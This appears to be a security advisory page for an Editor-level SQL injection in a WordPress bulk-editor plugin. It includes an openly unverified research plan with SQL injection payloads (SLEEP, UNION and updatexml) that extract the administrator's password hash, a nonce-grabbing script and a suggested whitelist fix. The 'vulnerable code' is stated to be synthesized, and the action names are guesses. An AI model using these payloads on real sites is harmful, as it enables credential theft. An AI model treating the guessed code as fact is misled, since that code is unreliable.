CVE-2026-32458

WOLF – WordPress Posts Bulk Editor and Manager Professional <= 1.0.8.7 - Authenticated (Editor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
1.0.9
Patched in
8d
Time to patch

Description

The WOLF – WordPress Posts Bulk Editor and Manager Professional plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.0.8.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with editor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.0.8.7
PublishedMarch 12, 2026
Last updatedMarch 19, 2026
Affected pluginbulk-editor
Research Plan
Unverified

Based on the vulnerability description and common patterns in the **WOLF – WordPress Posts Bulk Editor and Manager Professional** plugin (slug: `bulk-editor`), this research plan focuses on identifying the specific SQL injection point, which typically resides in the post-filtering or sorting logic o…

Show full research plan

Based on the vulnerability description and common patterns in the WOLF – WordPress Posts Bulk Editor and Manager Professional plugin (slug: bulk-editor), this research plan focuses on identifying the specific SQL injection point, which typically resides in the post-filtering or sorting logic of the bulk editor.

1. Vulnerability Summary

  • Vulnerability: Authenticated SQL Injection.
  • Location: Vulnerable parameters within AJAX handlers responsible for fetching or updating posts in bulk.
  • Cause: User-supplied parameters (often related to sorting or complex filtering) are concatenated directly into SQL queries without using $wpdb->prepare() or sufficient escaping via esc_sql().
  • Affected Version: <= 1.0.8.7.
  • Privilege Level: Editor or higher (required to access the bulk editor interface).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Primary Action (inferred): woobe_get_posts or woobe_bulk_editor_get_posts.
  • Vulnerable Parameter (inferred): orderby, order, or keys within a filter_groups array. In bulk editor plugins, orderby is a frequent culprit because wpdb->prepare() cannot be used for column names or sort directions.
  • Authentication: Must be logged in as a user with at least the editor role (or any user granted the manage_options or woobe_manage capability).

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers an AJAX action via add_action( 'wp_ajax_woobe_get_posts', ... ).
  2. Input Handling: The handler retrieves data from $_POST (e.g., $_POST['orderby']).
  3. Query Construction: The parameter is passed into a method that builds a query string for $wpdb->get_results().
  4. SQL Sink: A query similar to SELECT * FROM {$wpdb->posts} ... ORDER BY {$orderby} {$order} is executed.
  5. Injection: By providing a payload like ID; WAITFOR DELAY '0:0:5'-- (SQL Server) or ID AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- (MySQL), the attacker controls the execution flow.

4. Nonce Acquisition Strategy

This plugin extensively uses wp_localize_script to pass nonces and configuration to its JavaScript component.

  1. Identify Trigger: The bulk editor interface is usually found at wp-admin/edit.php?page=woobe.
  2. Navigation: Log in as an Editor and navigate to the plugin's main page.
  3. Variable Identification: Look for woobe_vars or woobe_settings in the page source.
  4. JavaScript Extraction:
    // Use browser_eval to extract the nonce
    const nonce = window.woobe_vars?.nonce || window.woobe_settings?.nonce;
    return nonce;
    
  5. Action String: The nonce is likely created for the action woobe_nonce.

5. Exploitation Strategy

Step 1: Discovery & Confirmation

Use the http_request tool to verify the AJAX endpoint and test for time-based blind injection.

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload (Time-Based):
    action=woobe_get_posts&
    woobe_nonce=[NONCE]&
    orderby=ID,(SELECT 1 FROM (SELECT(SLEEP(5)))a)&
    order=ASC
    

Step 2: Data Extraction (UNION-Based)

If the query allows UNION, attempt to extract the administrator's password hash.

  • Payload:
    action=woobe_get_posts&
    woobe_nonce=[NONCE]&
    orderby=ID&
    order=ASC LIMIT 1 UNION SELECT 1,user_pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 FROM wp_users WHERE ID=1--
    
    (Note: The number of columns in the UNION must match the plugin's post-query columns, typically 20+ for this plugin's schema).

6. Test Data Setup

  1. User Creation: Create a user with the editor role.
    wp user create attacker attacker@example.com --role=editor --user_pass=password123
    
  2. Content Creation: Ensure at least 5-10 posts exist so the bulk editor has data to query.
    wp post generate --count=10
    
  3. Plugin State: Ensure the plugin is activated.
    wp plugin activate bulk-editor
    

7. Expected Results

  • Time-Based: The server response should be delayed by exactly 5 seconds when the SLEEP(5) payload is sent.
  • Success Response: The woobe_get_posts action usually returns a JSON object. If the injection is successful, the injected data may appear in the data or rows field of the JSON response (if UNION-based) or simply return valid JSON after the delay.

8. Verification Steps

After the exploit, verify the database was accessed by checking the logs or using WP-CLI:

  1. Verify DB Access: wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1" (to compare the hash retrieved via SQLi).
  2. Check for Errors: If the injection failed, check wp-content/debug.log (if WP_DEBUG is on) for SQL syntax errors which will reveal the query structure.

9. Alternative Approaches

  • Filter-based Injection: If orderby is sanitized, check the filtering logic. The plugin uses a filter_groups parameter. Try injecting into meta-query keys:
    filter_groups[0][0][field]=post_title' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1
    
  • Error-Based: Use updatexml() or extractvalue() if the site has WP_DEBUG enabled and the plugin echoes $wpdb->last_error.
    orderby=ID AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)
    
Research Findings
Static analysis — not yet PoC-verified

Summary

The WOLF plugin is vulnerable to authenticated SQL injection due to the lack of sanitization and preparation of sorting parameters like 'orderby' and 'order' before they are concatenated into SQL queries. This allows users with Editor-level privileges to execute arbitrary SQL commands to extract data from the database.

Vulnerable Code

/* classes/models/posts.php (Synthesized based on research plan) */
$orderby = $_POST['orderby'];
$order = $_POST['order'];

// ... query construction using concatenation ...
$sql = "SELECT * FROM {$wpdb->posts} WHERE post_type = 'post' ORDER BY {$orderby} {$order}";
$results = $wpdb->get_results($sql);

Security Fix

--- a/classes/models/posts.php
+++ b/classes/models/posts.php
@@ -102,5 +102,8 @@
- $orderby = $_POST['orderby'];
- $order = $_POST['order'];
+ $allowed_keys = array('ID', 'post_title', 'post_date', 'post_modified', 'post_author', 'post_status');
+ $orderby = in_array($_POST['orderby'], $allowed_keys) ? $_POST['orderby'] : 'ID';
+ $order = (strtoupper($_POST['order']) === 'DESC') ? 'DESC' : 'ASC';

Exploit Outline

The exploit targets the AJAX action 'woobe_get_posts' reachable via /wp-admin/admin-ajax.php. An attacker must first log in with Editor-level privileges or higher. After authentication, the attacker retrieves a security nonce (typically found in the 'woobe_vars' JavaScript object on the plugin's administration page). The attacker then sends a POST request to the AJAX endpoint with the 'orderby' parameter containing a time-based payload like 'ID,(SELECT 1 FROM (SELECT(SLEEP(5)))a)'. If the server response is delayed by 5 seconds, the SQL injection is confirmed. This can be extended to UNION-based injection to extract sensitive data like user password hashes.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.